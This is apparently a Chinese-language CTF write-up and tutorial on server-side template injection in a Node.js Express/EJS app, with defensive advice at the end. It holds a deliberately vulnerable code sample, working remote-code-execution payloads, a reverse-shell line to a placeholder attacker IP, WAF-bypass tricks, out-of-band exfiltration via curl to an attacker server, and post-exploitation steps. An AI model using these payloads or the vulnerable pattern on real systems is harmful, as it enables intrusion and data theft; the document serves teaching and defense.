Node.js SSTI漏洞实战:从原理到攻防的完整解析
1. 项目概述一次真实的攻防演练复盘前段时间我作为防守方复盘了一场以“振兴杯”为背景的网络安全技能竞赛中的Web渗透题目。这道题的核心是一个典型的SSTI服务器端模板注入漏洞靶场环境搭建在Node.js上。复盘下来整个过程非常经典几乎涵盖了从信息收集、漏洞发现、利用构造到最终获取权限的完整链条。对于想深入理解Web安全特别是Node.js环境下SSTI漏洞利用的朋友来说这是一个绝佳的实战案例。今天我就把这个“战例”拆开揉碎了结合我踩过的坑和总结的技巧分享给大家。无论你是刚入门的安全爱好者还是想巩固Node.js安全知识的开发者相信都能从中获得一些直接的启发和可复现的操作步骤。2. 核心漏洞原理SSTI在Node.js中的“生存土壤”在深入实战之前我们必须先搞清楚SSTI漏洞在Node.js里到底是怎么一回事。这决定了我们后续探测和利用的方向。2.1 什么是SSTI简单来说SSTI就是攻击者能够将恶意代码注入到服务器端的模板引擎中并使其被执行。模板引擎如Jinja2, Twig, EJS, Pug/Jade, Handlebars等本是为了方便开发者动态生成HTML页面而设计的。开发者会在模板中写入一些占位符变量或表达式服务器端用真实数据填充这些占位符最终渲染成完整的HTML返回给用户。漏洞产生的根本原因在于开发者错误地将用户输入直接拼接到了模板字符串中而不是作为纯粹的数据传递给模板。这就好比本来应该把用户给的“颜料”数据涂在画布模板的指定位置结果却把用户给的“画笔和颜料”包含指令的字符串当成了画布本身的一部分去执行。2.2 Node.js常见模板引擎与危险函数Node.js生态繁荣模板引擎众多每种引擎的语法和内置功能对象、方法不同这就导致了SSTI的利用方式千差万别。比赛中常见的几种有EJS (Embedded JavaScript)语法接近原生JS使用% %标签。如果用户输入被直接拼接到模板字符串中攻击者就可能闭合标签执行任意JS代码。Pug (原名Jade)使用缩进定义结构功能强大。其内置的全局对象和函数如global,process是攻击者垂涎的目标。Handlebars逻辑相对较弱强调“无逻辑模板”但早期版本或配置不当仍可能存在风险通常需要结合原型链污染进行利用。Nunjucks受Jinja2启发功能复杂提供了丰富的过滤器filter和全局函数攻击面较大。除了模板引擎本身Node.js中一些危险的全局对象和方法也是渗透的关键跳板global/GLOBALNode.js的全局命名空间对象所有全局变量除了global本身都是它的属性。如果能访问到它几乎就能访问一切。process提供与当前Node.js进程交互的对象。通过process.mainModule或require(child_process)可以执行系统命令是获取Shell的终极目标。constructorJavaScript中函数的构造器通过它可以访问Function构造函数用于动态创建和执行函数。__proto__或Object.getPrototypeOf()用于访问和操纵对象的原型链是进行原型链污染攻击的入口。注意在实际渗透测试或CTF中第一步往往就是通过报错信息、响应特征如特定HTML注释或模糊测试来判断目标使用的是哪种模板引擎。比如看到Internal server error中出现了at eval (eval at anonymous很可能就是EJS而看到Pug相关的路径或关键词则指向Pug引擎。3. 实战环境搭建与信息收集模拟为了复现和讲解我们假设一个简化的靶场环境。这里我用一个存在SSTI漏洞的Node.js Express EJS应用作为例子。3.1 漏洞代码示例假设服务器端app.js核心代码如下const express require(express); const app express(); app.set(view engine, ejs); // 使用EJS模板引擎 app.get(/greet, (req, res) { const name req.query.name || Guest; // 危险操作直接将用户输入的name拼接进模板字符串 const template h1Hello, ${name}!/h1pWelcome to our site./p; // 错误地使用ejs.render而不是res.render try { const html ejs.render(template, {}); res.send(html); } catch (err) { res.send(Error rendering template.); } }); app.listen(3000, () console.log(Server running on port 3000));这段代码的致命错误在于它没有使用Express框架推荐的res.render(view, data)方式这种方式会将数据安全地传递给独立的.ejs模板文件而是手动构造了一个模板字符串并调用了ejs.render()。用户控制的name参数被直接拼接进了这个字符串。3.2 信息收集与漏洞探测在实际攻击中我们可能只有一个URL。第一步就是信息收集。基础探测访问目标查看响应头、Cookie、HTML源码中是否有框架、引擎标识。例如Express默认的X-Powered-By头可能会暴露。参数模糊测试对每一个可能的输入点GET/POST参数、Cookie、Headers尝试注入特殊的模板语法。通用测试Payload{{7*7}}${7*7}% 7*7 %#{7*7}。不同引擎的语法不同需要逐一尝试。我们的靶场访问http://target.com:3000/greet?nameWorld返回正常。尝试http://target.com:3000/greet?name% 7*7 %。分析响应如果返回的页面中显示49而不是原始的% 7*7 %那么恭喜SSTI漏洞存在并且是EJS引擎。如果返回错误信息仔细阅读错误内容它常常会泄露引擎类型甚至部分代码栈。在我们的例子中输入% 7*7 %后页面显示Hello, 49!这确凿地证明了EJS模板注入漏洞的存在并且表达式被执行了。4. 漏洞利用链的深度构造确认漏洞后下一步就是构造利用链目标是执行任意代码或命令。在Node.js的沙盒环境下如果有或者直接在有global对象访问权限的情况下我们需要一步步“爬”到能执行命令的位置。4.1 从表达式执行到访问全局对象首先我们需要在模板表达式中执行JavaScript代码。在EJS中% %用于输出表达式结果而% %用于执行控制流代码但不直接输出。为了获取回显我们通常用% %。探测可用对象尝试输出全局对象。Payload:% global %如果页面返回了[object global]或类似信息说明global对象可访问。这是最理想的情况。如果global被过滤或无法访问我们需要利用JavaScript的原型链。在JS中对象的构造器constructor指向创建它的函数。而函数的constructor属性指向Function构造函数。我们可以从一个简单的对象比如空字符串{}空对象或者[]空数组开始沿着原型链向上找。经典Payload% .constructor %会输出[Function: String]。.constructor.constructor实际上会返回[Function: Function]即Function构造函数本身。4.2 构造命令执行函数有了Function构造函数我们就可以动态创建函数了。Function构造函数的最后一个参数是函数体字符串。创建执行系统命令的函数首先我们需要通过global.process.mainModule.require或类似路径引入Node.js核心模块child_process。但在EJS的模板上下文中require可能被禁用或不可直接访问。我们可以通过global.process.mainModule.require来绕开限制。构造Payload的思路// 伪代码逻辑 const func new Function(return global.process.mainModule.require(child_process))(); const execSync func().execSync; const result execSync(whoami).toString(); return result;将其转化为一行式注入Payload我们需要将所有逻辑压缩到一个EJS表达式里。这需要巧妙的拼接。最终Payload示例用于EJS% ((){ const cp global.process.mainModule.require(child_process); return cp.execSync(id).toString(); })() %这个Payload做了以下几件事使用立即执行的箭头函数((){ ... })()。在函数内部通过global.process.mainModule.require获取到child_process模块。调用该模块的execSync方法执行系统命令id。将命令执行的二进制输出转换为字符串并返回。最外层的% %将这个字符串输出到HTML页面上。实操心得在实际比赛中空格、引号、require等关键词经常被WAFWeb应用防火墙或简单的过滤器拦截。这时就需要用到各种绕过技巧字符串拼接child_processpro[concat](cess)。利用JS特性process[0]返回p可以拼出单词。使用反引号require(child_process)。编码Hex编码、Unicode编码等。利用其他全局对象路径除了global.process有时this.process、mainModule.constructor._load也可能成功。4.3 利用链的另一种路径原型链污染与结合利用在某些更严格的场景下直接访问global或process被禁止。这时可以考虑原型链污染作为前置攻击为SSTI创造条件。原理通过修改Object.prototype等基础原型对象的属性所有继承自该原型的对象都会受到影响。如果后续的模板渲染代码使用了被污染的属性就可能触发恶意代码执行。与SSTI结合先找到一个可以污染原型链的输入点例如合并对象时未对__proto__进行过滤将恶意函数“挂”到原型链上。然后在SSTI的触发点模板引擎访问某个对象的属性时会沿着原型链找到我们预先设置的恶意函数并执行。实战简化这通常需要两个步骤或两个漏洞点在CTF中常作为高难度题目出现。思路是“先污染后触发”。5. 完整的渗透过程实录与命令执行让我们回到最初的漏洞点实施一次完整的攻击。假设目标就是我们的示例靶场且没有任何过滤。5.1 步骤一确认漏洞与引擎访问http://localhost:3000/greet?name% 7*7 %响应Hello, 49!-确认EJS SSTI。5.2 步骤二探测可用对象与上下文访问http://localhost:3000/greet?name% JSON.stringify(Object.keys(global)) %这个Payload尝试列出global对象的所有属性名。如果成功返回的页面会包含一个巨大的JSON数组里面有processconsolerequire等关键字。这能帮助我们了解可用的“武器库”。5.3 步骤三构造并执行命令使用我们之前构造的Payload 访问http://localhost:3000/greet?name% ((){ const cp global.process.mainModule.require(child_process); return cp.execSync(ls -la /).toString(); })() %解释这个命令会列出根目录下的文件。如果成功页面上“Hello, ”后面将会显示Linux根目录的文件列表。5.4 步骤四获取反向Shell进阶在渗透测试中执行单条命令往往不够我们需要一个交互式的Shell。这可以通过反向Shell实现。在攻击机上监听在Kali或自己的VPS上执行nc -lvnp 4444监听4444端口。构造反向Shell Payload需要生成一个能连接到我们监听端口的命令。Node.js下可以使用child_process.spawn。Payload示例% ((){ const { spawn } global.process.mainModule.require(child_process); const sh spawn(/bin/sh, [-c, bash -i /dev/tcp/YOUR_ATTACK_IP/4444 01]); return Shell sent.; })() %将YOUR_ATTACK_IP替换为你的攻击机公网IP或内网IP。这个Payload会启动一个bash进程并将其标准输入输出重定向到TCP连接从而在我们监听端口上得到一个Shell。重要警告此操作仅限在授权测试的靶场或自己搭建的环境中进行。未经授权对他人系统实施是非法行为。5.5 步骤五权限维持与信息收集后渗透一旦获得Shell即使是低权限后续就是标准的后渗透流程查看当前用户whoamiid查看敏感文件/etc/passwd~/.bash_historyapp.js应用源码package.json依赖信息查找数据库凭证在源码、环境变量env、配置文件中搜索passwordsecretdatabase等关键词。尝试提权检查sudo -l SUID文件find / -perm -us -type f 2/dev/null内核漏洞等。6. 防御策略与安全开发建议作为开发者如何避免自己的Node.js应用成为别人的靶场呢6.1 根本方法避免不安全的模板渲染使用安全的渲染方式对于Express EJS永远使用res.render(template, data)让数据通过模板引擎的官方通道安全传递。绝对不要拼接用户输入到模板字符串这是万恶之源。任何用户输入在进入模板渲染前都应被视为纯数据。对动态模板名称进行严格过滤如果需要动态选择模板文件必须将用户输入限定在白名单内防止目录穿越../等攻击。6.2 缓解措施沙盒与隔离如果业务确实需要动态执行逻辑如CMS的自定义模板功能考虑使用严格的沙盒环境例如Node.js的vm2模块它提供了一个比原生vm模块更安全的沙盒环境可以限制访问requireprocess等危险对象。禁用危险原型属性在模板引擎的配置中禁用对__proto__constructorprototype等属性的访问。内容安全策略CSP虽然CSP主要防御XSS但也能增加攻击难度。6.3 安全开发习惯依赖项安全定期使用npm audit或yarn audit检查依赖漏洞及时更新。安全编码规范在团队中推行安全编码规范对用户输入进行严格的校验和过滤白名单优于黑名单。代码审计与渗透测试定期进行代码安全审计和模拟攻击测试主动发现潜在漏洞。7. 常见问题与排查技巧实录在实战和教学过程中我遇到了不少典型问题这里记录一下问题1Payload执行后无回显或者页面报错“require is not defined”。排查思路检查引擎确认模板引擎是否正确。用% 7*7 %再测一次。检查上下文可能模板运行在一个沙盒或受限上下文中global和require被移除了。尝试使用this或者从其他对象如arguments.callee.caller的上下文中寻找突破口。这在CTF中很常见。尝试其他命令执行方式如果不能require(child_process)可以尝试利用已有模块的功能比如通过fs模块写一个Webshell或者利用os模块执行命令如果版本允许。技巧使用一个简单的Payload测试命令执行和回显通道是否畅通% global.process.version %。如果能输出Node.js版本说明global.process可访问但require可能被限制。问题2特殊字符如空格、引号被过滤或转义。绕过技巧空格用%20/**/在JS中是多行注释但某些解析器会忽略或者使用${反引号}字符串模板如果支持。引号使用反引号或者用String.fromCharCode()函数构造字符。例如child_process可以写成child_process或String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)。括号某些过滤器只过滤成对的括号。可以尝试使用反引号调用函数如requirechild_process这相当于require(child_process)。问题3如何判断命令是否执行成功技巧对于无回显的“盲注”型SSTI可以采用外带技术OOB。DNS外带执行命令如ping -c 1 your-domain.com在你的DNS日志中查看是否有解析请求。HTTP外带使用curl或wget访问一个你控制的Web服务器将命令结果作为URL参数或子域名带出。例如curl http://your-server.com/$(whoami)。时间延迟通过执行sleep 5等命令观察响应时间是否延迟来判断命令是否执行。问题4在Docker或受限容器环境中很多命令没有。思路先探测环境执行which bashwhich shwhich python3which nc等看看有什么可用的解释器或工具。使用Node.js本身最可靠的方式就是利用Node.js来读写文件或发起网络请求。例如用fs模块读写文件用http/https模块发起请求外带数据。编写JS文件如果可以写文件可以尝试将一段复杂的JS后门代码写入/tmp目录然后用node执行它。复盘这道“振兴杯”的题目最大的收获不是那个Payload本身而是理解整个漏洞从产生、发现到利用的完整逻辑链条。Node.js的灵活性和强大的内置对象在开发者手中是利器在攻击者眼中就是跳板。防御的关键始终在于对“用户输入不可信”这一铁律的坚守以及安全编码习惯的养成。对于安全研究者而言掌握不同模板引擎的特性、熟悉JavaScript原型链和全局对象是挖掘和利用这类漏洞的基本功。下次当你看到% %或者{{ }}时不妨多思考一秒这里的变量真的只是数据吗

相关新闻

全局快门摄像头实测:从原理到选型,深度解析动态范围与果冻效应

全局快门摄像头实测:从原理到选型,深度解析动态范围与果冻效应

1. 项目概述与核心价值最近手头拿到了一款新的全局快门摄像头模块,趁着项目间隙,专门花时间做了一次从硬件接口到成像质量的完整测试。对于很多从事机器视觉、高速运动捕捉、工业检测或者AR/VR开发的工程师来说,选型一款合适的全局快门&#…

2026/10/16 21:41:20 阅读更多 →
C++ Lambda表达式:从函数对象到STL算法的轻量级匿名函数

C++ Lambda表达式:从函数对象到STL算法的轻量级匿名函数

1. 从“函数对象”到“就地匿名函数”:Lambda的诞生背景 在C11标准发布之前,如果你想在STL算法中传递一个自定义的比较逻辑或者操作,通常需要定义一个完整的函数,或者更常见的是,定义一个“函数对象”。函数对象&#…

2026/10/15 14:43:36 阅读更多 →
构建可控上下文记忆的金融问答系统设计与实践

构建可控上下文记忆的金融问答系统设计与实践

1. 项目概述:构建可控的上下文记忆型问答系统 在智能对话系统领域,上下文记忆能力一直是区分基础问答机器人与专业级助手的关键指标。我最近完成的一个企业级项目正是围绕这个核心需求展开——设计一个严格受控的上下文记忆型问答助手。这个系统需要像专…

2026/10/15 14:43:43 阅读更多 →

最新新闻

栈实现综合计算器:双栈分工与优先级处理详解

栈实现综合计算器:双栈分工与优先级处理详解

栈这个结构,很多人学的时候觉得简单,不就是后进先出嘛,拿个数组或者链表模拟一下,push、pop 一写就完事了。但真到了要拿它解决一个稍微像样点的问题,比如做一个能算加减乘除、带括号、还能处理多位数的计算器&#xf…

2026/10/18 5:39:42 阅读更多 →
2026年硅基流动实测报告:开源模型性价比之选,闭源旗舰如何补位

2026年硅基流动实测报告:开源模型性价比之选,闭源旗舰如何补位

硅基流动(SiliconFlow)是国产 MaaS 第一梯队的代表选手,综合实力如何、适合什么人用,本文用一次完整实测给出答案。先看背景:公司 2023 年由前 OneFlow 创始人袁进辉创立,总部位于北京;定位第三…

2026/10/18 5:39:42 阅读更多 →
基于Spring Boot的私人云网盘实现:分片上传、断点续传与安全部署实战

基于Spring Boot的私人云网盘实现:分片上传、断点续传与安全部署实战

先交代下背景:我手头有一台不关机的小主机,平时要存的东西越来越多——手机照片、工作文档、影视资源,散落在电脑、移动硬盘和各个网盘里。公有网盘要么限速要么担心隐私,折腾一圈下来,还是决定自己搭一个私人云网盘。…

2026/10/18 5:39:42 阅读更多 →
VLA模型显存压缩实战:QVLA量化方案解析与部署指南

VLA模型显存压缩实战:QVLA量化方案解析与部署指南

先交代一下背景:我在做具身智能和机器人操作方向,VLA(视觉-语言-动作)模型这两年是真的火,但也是真的难落地。动不动就是十几B甚至几十B的参数,一张H100都差点塞不下,推理时显存占用直接把人劝退…

2026/10/18 5:39:42 阅读更多 →
从源码收集到工程复用:打造个人可检索可运行的代码资源库

从源码收集到工程复用:打造个人可检索可运行的代码资源库

经常有朋友问我:你整理的那个源码系列,规模都按万套算了,真的看得完吗?说实话,这种量级的资源,谁都看不完,我前两年也是这样。但这个系列做到第三期,我的答案慢慢变了——上万套源码…

2026/10/18 5:39:42 阅读更多 →
汇编期末填空题复习指南:高频考点与提分技巧

汇编期末填空题复习指南:高频考点与提分技巧

1. 从"更新完毕"四个字里读出的复习信号看到"汇编期末考试复习【填空题】更新完毕"这个标题,我第一反应不是"哦,又一份资料",而是"终于有人把填空题单独拎出来整理了"。考过汇编的人都知道&#xff…

2026/10/18 5:38:42 阅读更多 →

日新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 0:55:02 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 17:22:31 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 14:23:36 阅读更多 →